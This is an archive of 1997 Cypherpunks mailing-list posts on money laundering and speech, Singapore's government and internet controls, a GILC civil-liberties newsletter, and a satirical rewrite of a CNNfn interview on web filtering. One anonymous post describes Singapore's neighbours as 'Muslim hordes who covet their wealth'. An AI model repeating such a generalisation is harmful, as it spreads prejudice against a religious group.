Date: Tue, 9 Dec 1997 01:30:49 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: <v03102800b0b11c3254d4@[208.129.55.202]>
Message-ID: <v03102802b0b1d4268cd8@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>(Why is this discussion limited to just the four of us? Surely Declan and
>his Cato buddies are worthy to hear our arguments? I dislike the "taking
>things private" mindset, when the lists are already so cluttered with Toto
>rants and other consumers of vast amounts of bandwidth.)

If my header lines implied this, it was inadvertent.  I agree more 'relevent' content on CP is desireable.

>I haven't quite said that all forms of communication/spending money will be
>speech and therefore protected. (Besides, we all know of many forms of
>speech that are unprotected.)
>
>What I (and Michael Froomkin, in his own CFP talk) have argued is that
>digital money will be _undetectable_ in many cases unless government
>demands that the contents of a private communication be revealed. A kind of
>prior restraint on speech.
>
[snip]

>If the government determines, somehow, that Alice was
>involved in an illegal transaction, tax evasion, money laundering, etc.,
>they can try to get her on that. But they can't insist that words be
>submitted to a government agent for approval."

Isn't uttering a check protected speech?  What about if a check is stego-coded in some political rant?  Can the Feds insist I not utter that speech?

--Steve


PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear@lvdi.net
---------------------------------------------------------------------

	I know not what course others may take; but as for me, 
	give me ECache or give me debt!

	"It's your Cache"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stacey Feltham <FelthamS@TragoeS.com>
Date: Tue, 9 Dec 1997 01:28:06 +0800
To: "'Joe Cypherpunk'" <cypherpunks@toad.com>
Subject: RightsMarket Demo
Message-ID: <297DACB7BC85D0119D510080C82BC2AB09E76A@dns.TragoeS.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your interest in our product.

In an effort to authenticate each user, we would ask that you please
provide us with a more comprehensive profile, such as your full name,
company name, and complete address and telephone information.

Once this information has been forwarded to us (you can simply forward
this information to this email address), we would be happy to provide
you with a Username and Password for the RightsMarket Demo.

Thank you again for your interest in our product and we look forward to
receiving this information.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 9 Dec 1997 02:32:38 +0800
To: cypherpunks@Algebra.COM
Subject: Singapore & Freedom
Message-ID: <199712081823.MAA10229@dfw-ix13.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




harish.pillay@brokat.com wrote
>
..much deleted text...
>
>So, yes, the govt does at times choke the entrepreneurship drive
>of the local population, but there are industries where the
>coexistence of private initiative and govt-linked companies have
>been possible and viable.
 
Please advise what industries and the companies involved.


>Let's analyze the premise of an educational system. ....
>It has been a fine balance between a fully liberal system and
>one that generates worker units for the most part of the last
>30-35 years. ...  It will take 5-10 years before an increasingly
>liberal system is in place - an increasing thinking population
>that is part of the global information flow that will
>characterize the next centuries economies.

This last sentence appears to have been taken right out the PAP
policy manual, and it is a good policy statement.  Educational
systems are generally engineered by society to help prepare the
students for life in that society.  In western societies the
educational system is engineered by a number of different groups
in that society in what is thought to be in the best interest of
the society.  Who is doing the planning in Singapore and for what
ends?  I believe you will find Elder Statesman Lee has a major
involvement at this time.  If you look you will find an
accelerated push to generate a more technical population. 
Children in Singapore start school at 5 years of age, after 5
years of schooling, what is the daily homework load for a 10 year
old student??  Three to 5 hours per day?  If this figure is not
correct please advise the correct figure.  What percentage of
parents feel compelled to hire tutors to enhance their child's
education or just so they get good grades?  Is 60% too low?? 
What type of bonuses do school principals receive, is it based on
the overall grade-point average of the students in their school? 
Why the big push?  Who is the primary beneficiary of this push? 
Is this being done for the benefit of the worker units or the
collective good of the controllers of the political group in
power?

Harry and his buddies have done a fantastic job with Singapore
Inc. over the last 40 years.  Harry had a great vision and
splendid execution of that vision.  Problem now is that he is
rather long in the tooth and his people have changed.  Instead of
loosening up and allowing more democratic freedoms Harry and the
boys are finding excuses to state that Singaporeans must work
harder and expect less in the way of freedoms.  Harry has stated
many times that one of the biggest problems with western style
democracies is that the voters can defeat a perfectly good
government and install a bunch of goofs who spoil everything. 
True enough, we sometimes vote goofs into power, but at least we
have the choice.  Harry and the PAP have destroyed every bit of
political opposition or made the opposition unpalatable to the
voters.

>Pray tell me how the SG govt has brought BB into reality? ...

Singapore is surrounded by the Muslim hordes who covet their
wealth and it has no internal security apparatus?  In the 50s
Singapore literally had a den of spies.  The regional den of
spies is now Bangkok.  Why do ya figure they all moved their
operations?? The Singaporeans politely asked them to leave?  Have
you ever had any dealings with your nation's security apparatus? 
If you did you would notice something strange.  You just got
picked up for something that happened last week but these people
know about your whole life.  They know how many hours you spend
at the office, when you are out of the country, who you socialize
with, and any vices you may have.  Maybe they really don't do the
Big Brother thing, they probably just have a crystal ball and got
lucky with a few guesses and bluffed the rest.  If you believe
this last statement I have a real deal for you on some excellent
used cars.

When the Singapore government announced their intent to connect
every household to the Internet they asked every citizen to
become an informant and watch their neighbors (neighbours) for
subversive activity and report any such activity to the
authorities.  Now, if you connect to those 100 restricted porn
sites and saved copies of all you viewed on your computer and the
authorities discovered that porn what would be your fate? Or are
you immune to this threat?

>Interesting that you hide behind an anomymous name...

I notice your government does not like anonymous dissent either.
The standard procedure in Singapore in dealing with trouble
makers is to dig up their records, school, National Service,
employment, and whatever else they can get and then tear the poor
souls apart.  Harry has participated in this tactic many times.

Just so it will not bother you, I admit I am a low-life.  Dropped
out of school, fired from every job, do drugs, abuse alcohol,
guns, no church, beat my kids, beat my wife, beat my dog, and I
hang-out in second-rate strip-joints with bikers who deal drugs
and loanshark.  Plus I collect welfare.....

I use anonymous mail for many reasons.  The reason here should be
pretty obvious.


SingMonger








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 9 Dec 1997 00:48:51 +0800
To: cypherpunks@toad.com
Subject: [Fwd: (Fwd) GILC on racism, Asian events, copyright, etc. (472 l (fwd)]
Message-ID: <348C2181.78E0@dev.null>
MIME-Version: 1.0
Content-Type: message/rfc822



Received: from voland.freenet.bishkek.su (voland.freenet.bishkek.su [193.125.230.4])
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To: "D. J. Vanecek" <djv@bedford.net>, Carl Johnson <toto@sk.sympatico.ca>
Subject: (Fwd) GILC on racism, Asian events, copyright, etc. (472 l (fwd)
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another thing..
---------- Forwarded message ----------
Date: Mon, 8 Dec 1997 06:21:07 -0800
From: David McNickle <dmcnic@netcom.com>
To: digital-anarchy@netcom.com
Subject: (Fwd) GILC on racism, Asian events, copyright, etc. (472 l

------- Forwarded Message Follows -------
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Welcome to the Global Internet Liberty Campaign Newsletter
++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Welcome to  GILC Alert, the newsletter of the Global Internet
Liberty Campaign. We are an international organization of groups
working for cyber-liberties, who are determined to preserve civil
liberties and human rights on the internet.

We hope you find this newsletter interesting, and we very much hope
that you will avail yourselves of the action items in future issues.

If you are a part of an organization that would be interested in
joining GILC, please contact us at gilc@gilc.org. If you are aware of
threats to cyber liberties that we may not know about, please contact
the GILC members in your country, or contact GILC as a whole.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++

++ [A]  FOREMOST NEWS
        [A1] GILC Goes to Geneva
++ [B]  ROUNDUP OF GLOBAL INTERNET ISSUES
        [B1] Asia/Oceania
          [B1.1] Malaysia: Web Watcher
          [B1.2] Internet Censorship Protest
          [B1.3] Burma and Human Rights
        [B2] Europe
          [B2.1] XS4ALL Asks for Legal Analysis
          [B3.2] Dutch Ask for Clearer French Crypto Concessions
        [B3] North America
          [B3.1] US Federal Court Holds Service Provider Non-Liable
          [B3.2] U.S. Congress Moves to Protect ISPs and Intellectual
          Property [B3.3] CDA's Younger Big Brother
++++++++++++++++++++++++++++++++++++++++++++++++++++
[A]     FOREMOST NEWS
  [A1]  GILC Goes to Geneva

On November 14th, the United Nations Office of the High Commission for
Human Rights completed a five-day seminar on "The Role of the Internet
With Regard to the Provisions of the International Convention on the
Elimination of All Forms of Racial Discrimination (ICEAFRD)."  It
sought to bring together experts on the subject matter, governmental
representatives, Internet Service Providers, and representatives from
non-governmental organizations and find ways to ensure "responsible
use of the Internet."  The seminar was the second on the Internet and
the ICEAFRD.

Working under the ICEAFRD's Article IV, which seeks to limit racist
speech and disband organizations, which "promote and incite racial
discrimination," the seminar rarely came to a consenus on any
conclusions or recommendations.  No consensus was reached with regards
to the proposal establishing an intergovernmental working group.  No
consenus was reached about formulating a "code of conduct for Internet
users and service providers."  No consensus was reached about
mandating "all Internet communications indicate their source so that
users could not anonymously distribute racist propaganda."  No
consensus was reached on the role of existing national criminal laws
against hate speech.  The seminar, however, unequivocally agreed that:
"ways of increasing access to the Internet for under-resourced areas
should be promoted"; the internet  should be used to educate against
"racist propaganda, prevent racist doctrines and practices and to
promote mutual understanding"; and UN Web sites should be
strengthened.

Members of the Global Internet Liberty Campaign attended the
seminar.  According to Margarita Lacabe, of Derechos Human Rights, a
GILC member, "Most came to the conclusion that Internet regulation
would not work."  There, GILC issued this statement:

        (1) GILC members deplore racist and hateful speech;
but when encountering racist or hateful speech, the best remedy
to be applied is generally more speech, not enforced silence.

        (2) Liberty's fundamental principle is that governments
should be prohibited from prohibiting the expression of an idea
simply because society finds the idea itself offensive or
disagreeable.

        (3) While the application of existing law to the Internet is
still in its infancy, the well-established free speech principles
should apply with even greater force to networked speech. The Internet
gives it users easy access to public discourse. It affords human
rights activists and other opponents of racism  with an inexpensive
and effective method for responding to racist speech.

UN documents about this seminar:
http://www.unhchr.ch/html/menu2/10/c/racism/semIRD.htm
To read the seminar's conclusions:
http://www.unog.ch/news/newsen/11184872.htm
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[B1] Asia/Oceania
   [B1.1] Malaysia: Web Watcher

"There was information on the Internet which claimed I fainted and
that I was unable to chair the Wednesday cabinet meeting," complained
Malaysian Prime Minister Mahathir Mohamad to the Agence France Presse.
 He further believes that such information is aimed at "destroying
Malaysia," which recently saw its stock markets crash.  To aid
Malaysia's critical economic health, the government will now punish
all "rumor-mongers" under laws against "economic sabotage."

The Star Newspaper quoted deputy Home Minister, Ong Ka Ting,
promising to "investigate whether the person [starting the rumor] is a
foreigner or local who is used by certain parties to spread rumors to
erode the people's confidence."

Moreover, the Malaysian government has established a committee to
screen all foreign reports about the country on the Internet. Hello,
Malaysia, GILC sends you its best.  This committee, after reading all
articles on the country, would make weekly reports to the prime
minister.  The Star quoted Culture, Arts and Tourism Ministry deputy
secretary-general Tenku Alaudin Tengku Abdul Majid as saying they
would then "decide on the appropriate action to correct any wrong
perceptions in the reports."

The government, however, wants to make clear they are not in the
censorship business.  In June, Malaysia's top telecommunications
official addressed a conference in Kuala Lumpur to repeat his
government's commitment to keeping Malaysia free from content
regulations.  "There is no way that we can block the content that goes
through the Internet," said Datuk Leo Moggie, the head of the Ministry
of Energy, Telecommunications and Posts. "Instead of blocking [the
Internet], we have to adjust how to react to it over time."

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  [B1.2] Internet Censorship Protest

According to an "Action Alert" issued by the International Freedom of
Expression Exchange Clearing House, twelve world-wide human rights
organization have challenged Internet censorship in many member
nations of the Asia-Pacific Economic Cooperation (APEC).  In a jointly
signed letter (http://www.ifex.org/alert/00002561.html), the human
rights organizations criticized China, Indonesia, Malaysia, Japan,
Australia, Singapore, the United States, Philippines, and Thailand for
attempting "to control the free flow of information and free
expression on the Internet in their respective countries."

Reasoning from a "slippy-slope" framework, the organizations
reminded the APEC forum "time and time again we have seen
governments use the existence of one restriction to justify the
addition of further restrictions.  To think that any government can
issue one content directive, about pornography for example, and stop
there is folly."  The letter further discusses the contradiction
between censorship and the international human rights documents, while
pointing out Internet regulation is "ultimately unworkable."

This letter, however, was part of a larger voice of dissent.  The
Jakarta Post reported that an international symposium of 100
journalists and academics, titled "Open Media, Open Market," argued
that improved trade relations within the APEC forum would be
impossible without a free media.  In a statement, they called for APEC
to "commission an independent study . . . on the relationship between
the free flow of information and trade liberalization." Furthermore,
APEC leaders should "recognize that freedom of expression and
association are conditions for the expansion of trade."  Moreover,
2,000 people joined to add their voices to the protest.  Holding their
own "People's Summit," protesters marched to denounce governmental
stances on varied issues: Tibet independence, women's rights, labor
rights, and aboriginal land claims.  Reuters quoted John Argue, a
summit coordinator, saying, "APEC does not deal with real issues.  It
is entirely focused on helping business to increase its own resources
and trade, and not with any social concerns."  The 2,000 protesters
were within earshot of the 18 leaders who met to discuss various
economic issues.

When money calls, however, other voices are drowned out.  The
Australian reported that John Howard, Australia's Prime Minister,
reiterated that APEC's agenda should not be broadened to include human
rights.  Since its first meeting in Seattle, USA in 1992, APEC has
resisted demands to discuss human rights.  Following tradition and
after completing two days of talks in Vancouver, Canada, APEC only
called for freer trade, affirmed the region's economic foundations
were strong and announced three new members would join next year.

Reuters reported that police used pepper spray and dogs to push
back protesters who rushed barricades.

To read more about APEC go to their homepage at:
http://www.apecsec.org.sg
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  [B1.3] Burma and Human Rights

Dissidents need strong encryption and anonymity is vital.  At least
that's the lesson gleaned from Newsday's story of repression in Burma.
 The newspaper recounts the tight grip the Burmese government has on
the flow of information.  Because, the goverment does not let
reporters into the country, reporters have to enter Burma disguised as
tourists.  International phone calls are bugged. The simple ownership
of a simple fax machine is dangerous and liable to cost the faxer a
term in prison.  A few years ago, one of Burma's largest pro-democracy
supporters languished and later died in jail because he was faxing
without a license.

Needless to say, Internet access is just as illegal and just as
hazardous to one's liberty.  Newsday goes on to report that
diplomats and foreign embassies (with illegal Internet access)
constantly have their E-mail intercepted and read by Burmese
officials.  Moreover, the military government has set up a system of
informers that tigthen its technological grip on the masses.

In rejecting international human rights documents, Foreign Minister
Ohn Gyaw, has been quoted as saying: "There are no compulsions or
obligation for any country to sign the U.N Convention on Human Rights.
Like some other countries in Asia, we have to take into consideration
our culture, ethos and the standards of development before accepting
these declarations."

Visit the FreeBurma homepage: http://sunsite.unc.edu/freeburma Or
E-mail them: FreeBurma@POBox.com

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 [B2] Europe
   [B2.1] XS4ALL Asks for Legal Analysis

GILC member, XS4ALL (pronounced "access for all") has defied a
government order requesting that it turn over a subscriber's online
activities.  The Dutch Ministry of Justice not only wants the
subscriber's surfing habits, but it also wants XS4ALL to tap and
reveal all E-mail, newsgroup and chat room communications. In a press
release, issued last week (http://www.xs4all.n1), XS4ALL has stated it
will protect its users and their privacy, from this unprecedented act.

WiredNews reports that XS4ALL has previously submitted to police
demands for information. This time, however, the organization
believes the Dutch authorities have overstepped their legal bounds.
While warranted wiretapping is legal in the Netherlands, Cnet reports
that Maurice Wessling (of XS4ALL) argued that: "Reading E-mail or
doing a complete Internet tap is not part of the law." Wessling,
however believes that it is only a matter of time before it is.

The organization's refusal might be a crime; but XS4ALL is hoping for
a trial in the Dutch courts to determine if the country's 1993
Computer Crime Act (giving judges confiscatorial power over computer
data for court cases) applies to the Internet.

(http://www.wired.com/news/news/politics/story/8584.html)

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   [B3.2] Dutch Ask for Clearer French Crypto Concessions

CommunicationsWeek International reports the Dutch are not satisfied
with French cryptography policy and think the European Commission
should not have been so quick to consider approving French Proposals,
which would have liberalized France's strict laws governing
encryption.

The Netherlands has taken advantage of a European Commission technical
procedural rule, to hold off the French legislation.  This equivalent
of American filibustering, is expected to delay the decrees by at
least three months.  In the meanwhile, the Dutch want to push France
into a further easing of their policy.

EC officials, however, believe they have already garnered significant
compromises from the French.  For instance, France has agreed that
foreign entities may majority own trusted-third- parties. Furthermore,
cryptographic products no longer have to endure a two-month waiting
eriod for approval.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[B3] North America
   [B3.1] United States FederalCourt Holds Service Provider Non-Liable

On April 25, 1995, six days after 168 people are killed in the
Alfred P. Murrah federal building bombing in Oklahoma City, someone
gets on America On-Line, and posts an advertisement for "Naughty
Oklahoma" T-shirts and bumper stickers, and keychains.  All of these
items contain offensive slogans and cast aspersions on the victims and
their families.  The ads asked interested parties to contact "Ken" and
gave Kenneth Zeran's telephone number in Seattle, Washington. 
Immediately, Zeran was deluged with angry calls after an Oklahoma City
radio station urged listeners to call.  The death threats started
coming and soon the FBI and police manned his house. Zeran was
receiving abusive calls every two minutes.  As any good story would
have it, Zeran, of course, was not the author of the ad.  Later that
day, AOL was informed and repeatedly removed the ad from their
service.  New ads, though, kept reappearing. After an Oklahoma City
newspaper revealed it was a hoax and after the radio station made an
apology, the calls ended.  Zeran later sued AOL, arguing that the
company unreasonably delayed in removing the defamatory messages and
failing to screen for similar postings thereafter.  A district court
found that Section 230 of the Communications Decency Act barred
Zeran's suit.

Last week, a unanimous three-judge federal appeals court panel
affirmed the lower court's ruling.  The court noted that the bill's
plain language "creates a federal immunity to any cause of action that
would make service providers liable for information originating with a
third-party user . . . . Thus, lawsuits seeking to hold a service
provider liable for its exercise of a publisher's traditional
editorial functions -- such as deciding whether to publish, withdraw,
postpone, or alter content -- are barred."  The court further stated
that tort-based lawsuits would have an "obvious chilling effect."

Civil libertarians, however, offer one point of contention.  While,
the court explained that "it would be impossible for service providers
to screen each of their millions of postings," it also claimed one of
Section 230's purposes was to encourage service providers to regulate
"offensive" materials.  Chris Hansen, of the American Civil Liberties
Union, a GILC founding member, has stated: "The decision frees service
providers to engage in censorship." Hansen, contends that ISPs should
be given even more immunity: "No one would suggest that a phone
company be given to power to censor libelous statements someone might
make to someone else over the phone.  There are laws that prohibit
phone companies from taking such actions."

Another free-speech advocate, Stanton McCandlish, from the
Electronic Frontier Foundation, a GILC member, doesn't quite see it
that way: "I'm skeptical of the fear that this decision will chill
free speech. It won't, standing alone, make ISP's more likely to
censor communications among their users.  It removes a disincentive to
monitor and restrict content, but provides no new incentive to
actually do so."

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  [B3.2] U.S. Congress Moves to Protect ISPs and Intellectual Property

Late on Monday, November 17, 1997, the United States Senate joined the
House of Representatives in sending warnings to Internet pirates. 
Under the "No Electronic Theft (NET) Act," now sitting on President
Clinton's desk awaiting his signature, "non-profit" pirates would be
guilty of a federal crime, if they -- in any way -- exchange
unathorized copies of music, software, or literature over the
Internet.  Parties guilty of a felony (material valued at $2,500),
face five-year prison penalties and $250,000 fines if they "willfully"
make or possess at least ten digital copies of a computer program, for
instance.

Fear among service providers has presumably subsided, since a
late-minute amendment seems to have released ISPs from liability if
they do not "willfuly" engage in copyright infringements.  New.com has
quoted the Association of Online Professionals as saying: "The
language of the final bill makes it clear that ISPs and online service
providers (like AOL or Microsoft) will not be held as 'willfuly
infringing' just by doing their job, which is routing data across
their servers."

Late last month, a coalition of European groups voiced its concerns
with the European Commission's copyright protection initiatives.
TechWeb reported that the "Ad Hoc Alliance for a Digital Future," a
group of leading telecommunications operators, and ISPs, issued
explicit charges with Mario Monti, European Commissioner for internal
markets.  The Alliance is angry at what they see as attempts by the
European Commission to make ISP's liable for copyright infringements
by end users. TechWeb quoted Claudio Carrelli of the European Public
Telecommunications Network Operators Association (ETNO): "The Post
Office does not open all the letters it delivers, and we should not
expect network operators and ISPs to behave differently."

The Alliance also attacked the European Commission's refusal to
harmonize member states' law on "fair use" exemptions to copyright
law, which lets material be used without permission for uses such as
quotation and criticism.

President Clinton is expected to sign the U.S. bill before the end of
the year.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  [B3.3] CDA's Younger Big Brother

Last week, in another attempt to clear the Internet of pornography,
United States Senator Dan Coats (Republican from Indiana, former aid
to Dan Quayle, and the originator of the failed CDA) introduced S.
1482, which seeks to prohibit commerical Internet sites from
distributing material considered "harmful to minors" under 17 years
old. Violators wil be imprisoned for six months with a $50,000 fine. 
Supporters of the bill say that it's newly focused, because it covers
only material that's "harmful to minors," and not material that's
"indenent."  Coats's concern is over the free "teasers" (images of
naked women and simulated sex acts) that most pornographic sites offer
viewers.

In a press release issued last week, Coats maintained that his new
legislation is constitutional and "narrowly tailored to meet the
concerns of the Court."  According to the statement, the legislation
would simply "require the commercial distributor to remove the free
images, or require a credit card or personal identification number in
order to view them."

The matter is not that simple to civil libertarians, who remind Mr.
Coats that he wrongly thought the original CDA constitutional.  Ann
Beeson, from the American Civil Liberties Union, a GILC founding
member and one of the original plaintiffs in the Reno v. ACLU case,
drew a parallel between Coats's suggestion and requiring people to pay
a fee for browsing through a bookstore or watching a movie trailer.  
Furthermore, opponents argue that the bill is laced with vague terms
and overbroad and underinclusive definitions: "harmful to minors" is
undefined, while "commercial distributor" would include a virtual
bookstore (amazon.com), American Online and Microsoft but overlook
sources of free pornography and ones international ones.  All of these
aspects -- the vagueness, overbroadness and underinclusiveness --
would render the bill unconstitutional.

Contact Senator Coats with your comments (he doesn't give out his
E-mail address): United States Senator Dan Coats, 404 Russell Senate
Office Building, Washington, D.C. 20510 (202) 224-5623

GILC can make a difference at this stage.  Urge the Senate to halt
consideration of the CDA II when it reconvenes in January of 1998.
Contact Senator Patrick Leahy with your comments:
senator_leahy@leahy.senate.gov

Senator Leahy was one of 15 Senators who voted against the original
CDA.  He issued this statement after the Supreme Court case held parts
of the CDA unconstitutional:

"The Supreme Court has made clear that we do not forfeit our First
Amendment rights when we go on-line. [Its] decision is a landmark in
the history of the Internet and a firm foundation for its future
growth. Altering the protections of the First Amendment for on-line
communications would have crippled this new mode of communication.

"The Communications Decency Act was misguided and unworkable. It
reflected a fundamental misunderstanding of the nature of the
Internet, and it would have unwisely offered the world a model of
online censorship instead of a model of online freedom.

"There is no lack of criminal laws on the books to protect children
on-line, including laws criminalizing the on-line distribution of
child pornography and obscene materials and prohibiting the on-line
harassment, luring and solicitation of children for illegal activity.
Protecting children, whether in cyberspace or physical space, depends
on aggressively enforcing these existing laws and supervising children
to ensure they do not venture where the environment is unsafe. This
will do more -- and more effectively -- than passing feel-good,
unconstitutional legislation. "

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Raafat S. Toss
GILC Organizer Developer
American Civil Liberties Union
125 Broad Street
New York, New York 10004
rtoss@aclu.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++

Links to all information in this alert can be found at
http://www.gilc.org/

You are welcome to pass the GILC ALERT to all who may be
interested. And you have permission to re-print GILC ALERT and
distribute it.

If you are not a subscriber but would like to be, please send an
email to gilc-announce@gilc.org with the following message in the
body:

  Subscribe gilc-announce

PUBLICATION OF THIS NEWSLETTER IS MADE POSSIBLE BY A GRANT FROM THE
OPEN SOCIETY INSTITUTE (OSI)

          ********** dmcnic@netcom.com is David McNickle **********
                        http://www.smu.edu/~dmcnickl/
By creative thinking man acquires knowledge and wisdom and a sense of
unlimited strength which unbinds him from the limitations of
convention and dogma.    --  Semjase










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 9 Dec 1997 06:29:54 +0800
To: cypherpunks@toad.com
Subject: Re: "Kids summit" -- CNNfn interview
Message-ID: <8jeveqa010H5sgP/WCPSOA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On 27 Nov 97 at 13:12, Declan McCullagh wrote:

> [I'd still like to hear more on the inner workings of next 
> week's "kids on the Net" summit from our friends at CDT who 
> are sponsoring it. The lineup of speakers includes Janet 
> Reno, Al Gore, and the secretaries of commerce and education. 
> All joining together to Protect the Children! --Declan]

Here is the piece about the CNN show transposed to another,
accurately analagous context to show the utter idiocy of what's
going on. What's really sad, what's really scary, is how _little_ I
actually had to transpose to do this. All I changed were the 
occurrences of "online," "software," and "Surf."  I modified a 
couple of other related words just to comport with the shift of 
the metaphor from online to streets/public places.  Many paragraphs 
remain unaltered because they contain none of the key words.

For credible transposition, imagine that the "tools" they're
discussing are something like a headset, blinders, and body armor
that kids can be made to wear while in public to protect them from
the realities of public places. Ask yourself how different that
would be from the assinine blocking software being discussed in the
original interview, and how intelligent is it to presume to think
one can mold all public places to be as safe and comfy as the family
living room. These people must be on very strong drugs.

This is also an indirect statement on the utter superficiality of 
present day "news" coverage. The original interview _says_ virtually 
nothing, communicates virtually no facts. It is really just an 
emotional rallying and back-patting with little discernable 
in the way of contextual detail.

PropagandaMongerII

                              ----------

> HEADLINE:  Kids & Public Streets

>     JOHN DEFTERIOS, CNNfn ANCHOR, ASPHALT JAM: Next week family
> advocates, educators and industry leaders are coming together to
> discuss ways to keep children safe on public streets.  One of the
> sponsors of the Streets Summit is Curbwatch, a company that makes
> blocking tools to help parents and teachers filter out
> objectionable street content.

>     Joining me now from Stanford, California to discuss the goals
> of the summit is Michael Sears.  He is the president of Curbwatch. 
> Michael it's great to have you on ASPHALT JAM.  Welcome to you.

>     MICHAEL SEARS, PRESIDENT, CURBWATCH: Thank you, a pleasure to
> be here.

>     DEFTERIOS: First of all, let's discuss how this summit came
> about.  Was it a building movement that finally crescendo.

>     SEARS: I think it is.  It's actually the outgrowth of what we
> did last June with President Clinton and Vice President Gore.  In
> fact June and July time frame the SDA (Streets Decency Act) was
> overturned.  The White House decided to take the initiative and
> asked the industry to get together to see what we can do to
> actually empower kids and enable kids on the streets.

>     DEFTERIOS OK.  What is the happy medium here, Michael because
> that's what everybody is really looking for because the Street
> Decency Act did stumble and we had people on both side of the
> debate wanting to stake out their territory.  What is , in your
> view, is the center ground?

>     SEARS: Well, the debate will continue, but the center ground
> really is that it's all about kids.  What we're talking about doing
> here is bringing together industry and law enforcement and public
> policy people and talking about to empower kids on streets and give
> them effective tools. Effective tools that are also very easy to
> use.

>     The idea behind that is how can kids actually get onto the
> streets, learn, research, discover, play and do it in a really
> enriching environment. But also we realize that there are a lot of
> safety concerns in public places. That's probably what we're going
> to talk about primarily.

>     DEFTERIOS: How about the ACLU, they were raising concerns
> about being blocked out here or filtration or censorship on the
> extreme.  How do you deal with that side of - the people on that
> side of the debate?

>     SEARS: It's a slippery slope.  The idea here is do we block,
> companies like Curbwatch, do we block content in public places.
> The idea once again is we target your typical 12 year old in the
> US.  If that 12 year old should see something or if that 12 years
> old needs to discover something we try to make sure that we have
> all of our technology, all of our processes in place to insure that
> information comes forward.  Such as, we don't block the idea of
> breast, for instance, because breast could be talking about a
> chicken recipe.  It could be talk about breast cancer.  However, if
> it's a sexually explicit depiction or expression of that word
> that's where you come in and use filtering tools to block.

>     DEFTERIOS: There's another side to this, of course, that kids
> are often much more street savvy than their parents.  How do you
> over that hurdle?

>     SEARS: That's a major hurdle.  In fact we're talking about
> empowering kids with effective tools, but those tools have to be
> very easy to use and the ease of use isn't really for the kids
> because the kids know how to do this stuff. They know what's on the
> streets. They know what's out there and they know how to get
> there. What we really provide are the easy to use tools for mom
> and dad. So mom and dad pointing and clicking and turning switches
> on and off very easily can really control the family's environment.

>     DEFTERIOS: As you know, this is a political hot potato for
> President Clinton because he didn't want to seem extreme on both
> side and he would like industry to work it out.  When it is all
> said and done, Michael, what is the solution here?

>     SEARS: Well, the solution that this market is all about is
> called parental control.  Curbwatch started the market about three
> years ago and the word parental control itself was important not
> only because it's the technology, but because of those first two
> words, parental control.  Mom and dad have to be involved.  Mom and
> dad have to engage not only to help the kids in public places, but
> also make sure that in street conversations or with graffiti or
> with explicit pictures they can really sit down and talk to the
> kids and moderate what their kids are doing.  We're just a tool.

>     DEFTERIOS: This is not a government.  Not to interrupt you,
> but we're almost out of time here.  But this is, you're saying, not
> government intervention then.

>     SEARS: Absolutely.

>     DEFTERIOS: The technology is out there to let the families
> tackle this on their own.

>     SEARS: That on and off switch should be in the hands of moms
> and dads not the government.

>     DEFTERIOS: OK, great.  How about your market share before we
> let you go tonight?  How are you faring against your competition?

>     SEARS: I think we're doing very well.  All the buzz that's
> been happening over the last couple of months has helped our shares
> as well as our competitors. We've shipped millions of copies, 7.2
> last July. We haven't done the survey lately, but we're clearly in
> the tens of millions right now.

>     DEFTERIOS: OK.  It's great to have you.

>     SEARS: Great to be here.  Thanks very much.

>     DEFTERIOS: And have a nice Thanksgiving holiday.

>     SEARS: Same to you.  Take care.

>     DEFTERIOS: My pleasure.  Michael Sears, president of Curbwatch,
> joining us from Stanford, California. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@brokat.com.sg>
Date: Mon, 8 Dec 1997 11:03:31 +0800
To: platypus@acmeonline.net
Subject: Re: Singapore
In-Reply-To: <Pine.LNX.3.93.971208113312.210G-100000@shirley>
Message-ID: <199712080245.KAA30015@brokat.com.sg>
MIME-Version: 1.0
Content-Type: text



? the Platypus {aka David Formosa} shaped the electrons to read ...
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sun, 7 Dec 1997, Harish Pillay wrote:
> 
> [...]
> 
> > Well, indeed,
> > the top level ISPs here have choosen to use filtering proxy servers to filter 
> > out an alleged list of 100 porno sites
> 
> May I ask why thay have choosen to switch on these filters?

